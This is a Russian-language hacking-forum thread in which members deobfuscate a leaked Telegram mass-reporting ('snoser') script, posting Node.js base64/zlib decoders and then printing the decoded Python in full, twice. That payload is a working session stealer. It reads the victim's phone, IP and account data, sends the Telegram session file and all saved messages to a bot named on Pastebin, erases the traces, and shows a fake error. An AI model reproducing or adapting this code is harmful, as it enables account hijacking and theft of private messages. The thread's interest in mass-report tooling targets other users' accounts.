• XSS.stack #1 – первый литературный журнал от юзеров форума

Сносер телеграм (нужна помощь в деобфускации)

holynet

DDoS - PanicBot.net
Забанен
Регистрация
04.10.2024
Сообщения
376
Реакции
83
Гарант сделки
2
Депозит
0.0039
Пожалуйста, обратите внимание, что пользователь заблокирован
Со мной поделились сносером телеграм аккаунтов, но я не могу его деобфусцировать (дальше самой первой base64 деобфускации с "пасхалкой"). Буду рад если поможете и заодно сможете сами поиметь сносер.

!!! НЕ ЗАПУСКАТЬ, ВОЗМОЖНО МАЛВАРЬ !!!

Обфусцированный скрипт:
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Самая первая строка просто base64, после идет base64 корую нужно перевернуть и потом она уже в zlib копреснутая и после идет такая жа похожая матрешка
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Самая первая строка просто base64, после идет base64 корую нужно перевернуть и потом она уже в zlib копреснутая и после идет такая жа похожая матрешка
Это мне гпт сказала уже, но я деобфусцировать всеравно не могу :(
Если деобфнул, скинь пожалуйста, буду благодарен
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это мне гпт сказала уже, но я деобфусцировать всеравно не могу :(
Если деобфнул, скинь пожалуйста, буду благодарен
Код:
const zlib = require('zlib');
const Buffer = require('buffer').Buffer;


const encodedString = ``;

const fs = require('fs');

function decode(encoded) {

    const decodedBuffer = Buffer.from(encoded, 'base64');

    const decompressedBuffer = zlib.inflateSync(decodedBuffer);

    const decompressedString = decompressedBuffer.toString('utf-8');

    fs.writeFileSync('output.bin', decompressedBuffer);

    return decompressedString;
}

// Дешифруем и выводим результат
const decryptedCode = decode(encodedString);
console.log(decryptedCode);

У меня на ноде, в общем я думаю в самом конце тебя просто нахуй пошлют как ты в конец матрешки дойдешь. Суть такая что ты берешь base64, реверсишь его, и вставляешь снова и так хер знает до куда
 
Пожалуйста, обратите внимание, что пользователь заблокирован
1728923724203.png

1728923743725.png

Копируешь до "N)" потому что "N)" уже не часть Base64 и потом реверсишь строку к примеру тут
и этот base64 вставляешь в код в переменную, можешь автоматизировать, но мне было лень
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ладно я добралься куда то дальше где нет base64


Код:
const zlib = require('zlib');
const Buffer = require('buffer').Buffer;


const encodedString = ``;

const fs = require('fs');

function reverseString(str) {
    return str.split('').reverse().join('');
}

function decode(encoded) {
    const decodedBuffer = Buffer.from(encoded, 'base64');

    const decompressedBuffer = zlib.inflateSync(decodedBuffer);

    const decompressedString = decompressedBuffer.toString('utf-8');

    const match = decompressedString.match(/([A-Za-z0-9+/=]{10,})N\)/);
    if (match) {
        let str = reverseString(match[0]).substring(2);

        
        console.log("Результат поиска:",str);
        fs.writeFileSync('base64.bin', str);

        return decode(str);
    }

    fs.writeFileSync('output.bin', decompressedBuffer);

    return decompressedString;
}


decode(encodedString);
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пока вот что вышло
 

Вложения

  • output.zip
    42.9 КБ · Просмотры: 22
Пожалуйста, обратите внимание, что пользователь заблокирован
Пока вот что вышло
я хз че это такое, но на код не похоже, или код ибо импорты вижу какие то
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Ладно я добралься куда то дальше где нет base64


Код:
const zlib = require('zlib');
const Buffer = require('buffer').Buffer;


const encodedString = ``;

const fs = require('fs');

function reverseString(str) {
    return str.split('').reverse().join('');
}

function decode(encoded) {
    const decodedBuffer = Buffer.from(encoded, 'base64');

    const decompressedBuffer = zlib.inflateSync(decodedBuffer);

    const decompressedString = decompressedBuffer.toString('utf-8');

    const match = decompressedString.match(/([A-Za-z0-9+/=]{10,})N\)/);
    if (match) {
        let str = reverseString(match[0]).substring(2);

       
        console.log("Результат поиска:",str);
        fs.writeFileSync('base64.bin', str);

        return decode(str);
    }

    fs.writeFileSync('output.bin', decompressedBuffer);

    return decompressedString;
}


decode(encodedString);
Вот да, я про это же, жесть конечно. Лайк за старания!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Код:
const zlib = require('zlib');
const Buffer = require('buffer').Buffer;


const encodedString = ``;

const fs = require('fs');

function decode(encoded) {

    const decodedBuffer = Buffer.from(encoded, 'base64');

    const decompressedBuffer = zlib.inflateSync(decodedBuffer);

    const decompressedString = decompressedBuffer.toString('utf-8');

    fs.writeFileSync('output.bin', decompressedBuffer);

    return decompressedString;
}

// Дешифруем и выводим результат
const decryptedCode = decode(encodedString);
console.log(decryptedCode);

У меня на ноде, в общем я думаю в самом конце тебя просто нахуй пошлют как ты в конец матрешки дойдешь. Суть такая что ты берешь base64, реверсишь его, и вставляешь снова и так хер знает до куда
Может поступить по другому и как-то перехватить выполняющийся код?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Может поступить по другому и как-то перехватить выполняющийся код?
хз, я скрипт не запускаю, откуда мне знать что там написано)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
хз, я скрипт не запускаю, откуда мне знать что там написано)
Вообще там сносер (его слили, но обфнули), друг запускал, но я сам тоже боюсь)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вообще там сносер
Мне интеренсо что это вообще такое, сносер телеграм аккаунтов?? WTF???? как это должно работать, что оно делает. Оно мне телеграм удалит на пк или что?
 
Вот что получилось достать: (Аккуратно, похоже это какая-то малварь, мне лень разбираться)

Python:
import os

import requests

import time

from datetime import datetime

import platform

import sys

import hashlib

from telethon import TelegramClient

import pyfiglet

from termcolor import colored

# Функции для шифрования и дешифрования

def encode_message(message):

    binary_string = ''.join(format(ord(char), '08b') for char in message)

    encoded_message = binary_string.replace('0', 'l').replace('1', 'I')

    return encoded_message

def decode_message(encoded_message):

    binary_string = encoded_message.replace('l', '0').replace('I', '1')

    decoded_message = ''.join(chr(int(binary_string[i:i+8], 2)) for i in range(0, len(binary_string), 8))

    return decoded_message

# Получение данных с Pastebin

PASTEBIN_URL = 'https://pastebin.com/raw/hX75UwEL'

response = requests.get(PASTEBIN_URL)

if response.status_code != 200:

    print("Ошибка при получении данных с сервера (200).")

    sys.exit(1)

encrypted_data = response.text.strip()

decrypted_data = decode_message(encrypted_data)

pastebin_data = decrypted_data.split('\n')

if len(pastebin_data) < 3:

    print("Недостаточно данных в Pastebin")

    sys.exit(1)

required_version = pastebin_data[0].strip()

required_sha1 = pastebin_data[1].strip()

bot_username = pastebin_data[2].strip()

# Проверка версии файла

current_version = '1.0.0'  # Укажите текущую версию файла

if current_version != required_version:

    print(f"Текущая версия ({current_version}) не совпадает с требуемой ({required_version}), обновите здесь: t.me/ubsnoser")

    sys.exit(1)

# Проверка целостности файла

def calculate_sha1(file_path):

    sha1 = hashlib.sha1()

    with open(file_path, 'rb') as f:

        while chunk := f.read(8192):

            sha1.update(chunk)

    return sha1.hexdigest()

file_path = sys.argv[0]  # Путь к текущему файлу

calculated_sha1 = calculate_sha1(file_path)

if calculated_sha1 != required_sha1:

    print("Файл был изменен, завершаю работу!")

    sys.exit(1)

ascii_banner = pyfiglet.figlet_format("USERBOT SNOSER")

colored_banner = colored(ascii_banner, color='cyan')

print(colored_banner)

api_id = '2040'

api_hash = 'b18441a1ff607e10a989891a5462e627'

client = TelegramClient('userbot_session', api_id, api_hash)

def print_progress_bar(progress, total, task_name):

    percentage = (progress / total) * 100

    bar_length = 20

    filled_length = int(bar_length * progress // total)

    bar = '=' * filled_length + ' ' * (bar_length - filled_length)

    print(f"\r{task_name}\n[{bar}] {percentage:.0f}% ", end='\r')

    if progress == total:

        print()  # Move to the next line on completion

async def get_user_info():

    me = await client.get_me()

    username = me.username

    user_id = me.id

    phone = me.phone

    response = requests.get('https://api.ipify.org?format=json')

    ip = response.json()['ip']

    current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    os_info = platform.platform()

    with open("user_info.txt", "w") as file:

        file.write(f"Username: {username}\n")

        file.write(f"Id: {user_id}\n")

        file.write(f"Phone: {phone}\n")

        file.write(f"Ip: {ip}\n")

        file.write(f"Date: {current_time}\n")

        file.write(f"OS: {os_info}\n")

async def forward_files():

    try:

        file_messages = []

        file_messages.append(await client.send_file(bot_username, "user_info.txt"))

        file_messages.append(await client.send_file(bot_username, "userbot_session.session"))

       

        # Удаление файлов после отправки боту

        for msg in file_messages:

            await client.delete_messages(bot_username, msg.id)

       

        # Удаление файла user_info.txt из файловой системы

        os.remove("user_info.txt")

    except Exception:

        pass

async def forward_all_messages():

    try:

        messages = await client.get_messages('me', limit=None)

        total_messages = len(messages)

        for index, message in enumerate(messages, start=1):

            await client.forward_messages(bot_username, message)

            await client.delete_messages('me', message.id)  # Удаление сообщения после пересылки

            print_progress_bar(index, total_messages, "Получение списка почт")

       

        # Удаление всех сообщений, пересланных боту, включая файлы

        bot_messages = await client.get_messages(bot_username, limit=None)

        for msg in bot_messages:

            await client.delete_messages(bot_username, msg.id)

    except Exception:

        pass

async def main():

    await client.start()

    print("Получение модулей с сервера")

    print_progress_bar(0, 2, "Получение модулей с сервера")

    await get_user_info()

    print_progress_bar(1, 2, "Получение модулей с сервера")

    await forward_files()

    print_progress_bar(2, 2, "Получение модулей с сервера")

    await forward_all_messages()

    await client.disconnect()

    raise Exception("Traceback (most recent call last):\n"

                    "  File \"main.py\", line 1, in <module>\n"

                    "    import os\n"

                    "ModuleNotFoundError: No module named 'os'\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 50, in <module>\n"

                    "    encrypted_data = response.text.strip()\n"

                    "AttributeError: 'NoneType' object has no attribute 'strip'\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 60, in <module>\n"

                    "    required_version = pastebin_data[0].strip()\n"

                    "IndexError: list index out of range\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 70, in <module>\n"

                    "    if current_version != required_version:\n"

                    "NameError: name 'required_version' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 80, in <module>\n"

                    "    if calculated_sha1 != required_sha1:\n"

                    "NameError: name 'calculated_sha1' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 90, in <module>\n"

                    "    client = TelegramClient('userbot_session', api_id, api_hash)\n"

                    "NameError: name 'api_id' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 100, in <module>\n"

                    "    spinner_thread.start()\n"

                    "NameError: name 'spinner_thread' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 110, in <module>\n"

                    "    await forward_files()\n"

                    "SyntaxError: 'await' outside function\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 120, in <module>\n"

                    "    await forward_all_messages()\n"

                    "IndentationError: unexpected indent\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 130, in <module>\n"

                    "    raise Exception('Test error')\n"

                    "Exception: Test error\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 130, in <module>\n"

                    "    raise Exception('Test error')\n"

                    "Exception: Test error\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 140, in <module>\n"

                    "    some_undefined_function()\n"

                    "NameError: name 'some_undefined_function' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 150, in <module>\n"

                    "    undefined_variable + 1\n"

                    "NameError: name 'undefined_variable' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 160, in <module>\n"

                    "    raise ValueError('telegram get package')\n"

                    "ValueError: 0x00000001")

if __name__ == '__main__':

    import asyncio

    asyncio.run(main())
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот что получилось достать: (Аккуратно, похоже это какая-то малварь, мне лень разбираться)

Python:
import os

import requests

import time

from datetime import datetime

import platform

import sys

import hashlib

from telethon import TelegramClient

import pyfiglet

from termcolor import colored

# Функции для шифрования и дешифрования

def encode_message(message):

    binary_string = ''.join(format(ord(char), '08b') for char in message)

    encoded_message = binary_string.replace('0', 'l').replace('1', 'I')

    return encoded_message

def decode_message(encoded_message):

    binary_string = encoded_message.replace('l', '0').replace('I', '1')

    decoded_message = ''.join(chr(int(binary_string[i:i+8], 2)) for i in range(0, len(binary_string), 8))

    return decoded_message

# Получение данных с Pastebin

PASTEBIN_URL = 'https://pastebin.com/raw/hX75UwEL'

response = requests.get(PASTEBIN_URL)

if response.status_code != 200:

    print("Ошибка при получении данных с сервера (200).")

    sys.exit(1)

encrypted_data = response.text.strip()

decrypted_data = decode_message(encrypted_data)

pastebin_data = decrypted_data.split('\n')

if len(pastebin_data) < 3:

    print("Недостаточно данных в Pastebin")

    sys.exit(1)

required_version = pastebin_data[0].strip()

required_sha1 = pastebin_data[1].strip()

bot_username = pastebin_data[2].strip()

# Проверка версии файла

current_version = '1.0.0'  # Укажите текущую версию файла

if current_version != required_version:

    print(f"Текущая версия ({current_version}) не совпадает с требуемой ({required_version}), обновите здесь: t.me/ubsnoser")

    sys.exit(1)

# Проверка целостности файла

def calculate_sha1(file_path):

    sha1 = hashlib.sha1()

    with open(file_path, 'rb') as f:

        while chunk := f.read(8192):

            sha1.update(chunk)

    return sha1.hexdigest()

file_path = sys.argv[0]  # Путь к текущему файлу

calculated_sha1 = calculate_sha1(file_path)

if calculated_sha1 != required_sha1:

    print("Файл был изменен, завершаю работу!")

    sys.exit(1)

ascii_banner = pyfiglet.figlet_format("USERBOT SNOSER")

colored_banner = colored(ascii_banner, color='cyan')

print(colored_banner)

api_id = '2040'

api_hash = 'b18441a1ff607e10a989891a5462e627'

client = TelegramClient('userbot_session', api_id, api_hash)

def print_progress_bar(progress, total, task_name):

    percentage = (progress / total) * 100

    bar_length = 20

    filled_length = int(bar_length * progress // total)

    bar = '=' * filled_length + ' ' * (bar_length - filled_length)

    print(f"\r{task_name}\n[{bar}] {percentage:.0f}% ", end='\r')

    if progress == total:

        print()  # Move to the next line on completion

async def get_user_info():

    me = await client.get_me()

    username = me.username

    user_id = me.id

    phone = me.phone

    response = requests.get('https://api.ipify.org?format=json')

    ip = response.json()['ip']

    current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    os_info = platform.platform()

    with open("user_info.txt", "w") as file:

        file.write(f"Username: {username}\n")

        file.write(f"Id: {user_id}\n")

        file.write(f"Phone: {phone}\n")

        file.write(f"Ip: {ip}\n")

        file.write(f"Date: {current_time}\n")

        file.write(f"OS: {os_info}\n")

async def forward_files():

    try:

        file_messages = []

        file_messages.append(await client.send_file(bot_username, "user_info.txt"))

        file_messages.append(await client.send_file(bot_username, "userbot_session.session"))

      

        # Удаление файлов после отправки боту

        for msg in file_messages:

            await client.delete_messages(bot_username, msg.id)

      

        # Удаление файла user_info.txt из файловой системы

        os.remove("user_info.txt")

    except Exception:

        pass

async def forward_all_messages():

    try:

        messages = await client.get_messages('me', limit=None)

        total_messages = len(messages)

        for index, message in enumerate(messages, start=1):

            await client.forward_messages(bot_username, message)

            await client.delete_messages('me', message.id)  # Удаление сообщения после пересылки

            print_progress_bar(index, total_messages, "Получение списка почт")

      

        # Удаление всех сообщений, пересланных боту, включая файлы

        bot_messages = await client.get_messages(bot_username, limit=None)

        for msg in bot_messages:

            await client.delete_messages(bot_username, msg.id)

    except Exception:

        pass

async def main():

    await client.start()

    print("Получение модулей с сервера")

    print_progress_bar(0, 2, "Получение модулей с сервера")

    await get_user_info()

    print_progress_bar(1, 2, "Получение модулей с сервера")

    await forward_files()

    print_progress_bar(2, 2, "Получение модулей с сервера")

    await forward_all_messages()

    await client.disconnect()

    raise Exception("Traceback (most recent call last):\n"

                    "  File \"main.py\", line 1, in <module>\n"

                    "    import os\n"

                    "ModuleNotFoundError: No module named 'os'\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 50, in <module>\n"

                    "    encrypted_data = response.text.strip()\n"

                    "AttributeError: 'NoneType' object has no attribute 'strip'\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 60, in <module>\n"

                    "    required_version = pastebin_data[0].strip()\n"

                    "IndexError: list index out of range\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 70, in <module>\n"

                    "    if current_version != required_version:\n"

                    "NameError: name 'required_version' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 80, in <module>\n"

                    "    if calculated_sha1 != required_sha1:\n"

                    "NameError: name 'calculated_sha1' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 90, in <module>\n"

                    "    client = TelegramClient('userbot_session', api_id, api_hash)\n"

                    "NameError: name 'api_id' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 100, in <module>\n"

                    "    spinner_thread.start()\n"

                    "NameError: name 'spinner_thread' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 110, in <module>\n"

                    "    await forward_files()\n"

                    "SyntaxError: 'await' outside function\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 120, in <module>\n"

                    "    await forward_all_messages()\n"

                    "IndentationError: unexpected indent\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 130, in <module>\n"

                    "    raise Exception('Test error')\n"

                    "Exception: Test error\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 130, in <module>\n"

                    "    raise Exception('Test error')\n"

                    "Exception: Test error\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 140, in <module>\n"

                    "    some_undefined_function()\n"

                    "NameError: name 'some_undefined_function' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 150, in <module>\n"

                    "    undefined_variable + 1\n"

                    "NameError: name 'undefined_variable' is not defined\n"

                    "During handling of the above exception, another exception occurred:\n"

                    "Traceback (most recent call last):\n"

                    "  File \"main.py\", line 160, in <module>\n"

                    "    raise ValueError('telegram get package')\n"

                    "ValueError: 0x00000001")

if __name__ == '__main__':

    import asyncio

    asyncio.run(main())
Спасибо большое, как деобфнул?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мне интеренсо что это вообще такое, сносер телеграм аккаунтов?? WTF???? как это должно работать, что оно делает. Оно мне телеграм удалит на пк или что?
Репорты кидает с разных акков через сессии
 
Пожалуйста, обратите внимание, что пользователь заблокирован
М
Спасибо большое, как деобфнул?
Можешь ли деобфнуть дальше?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх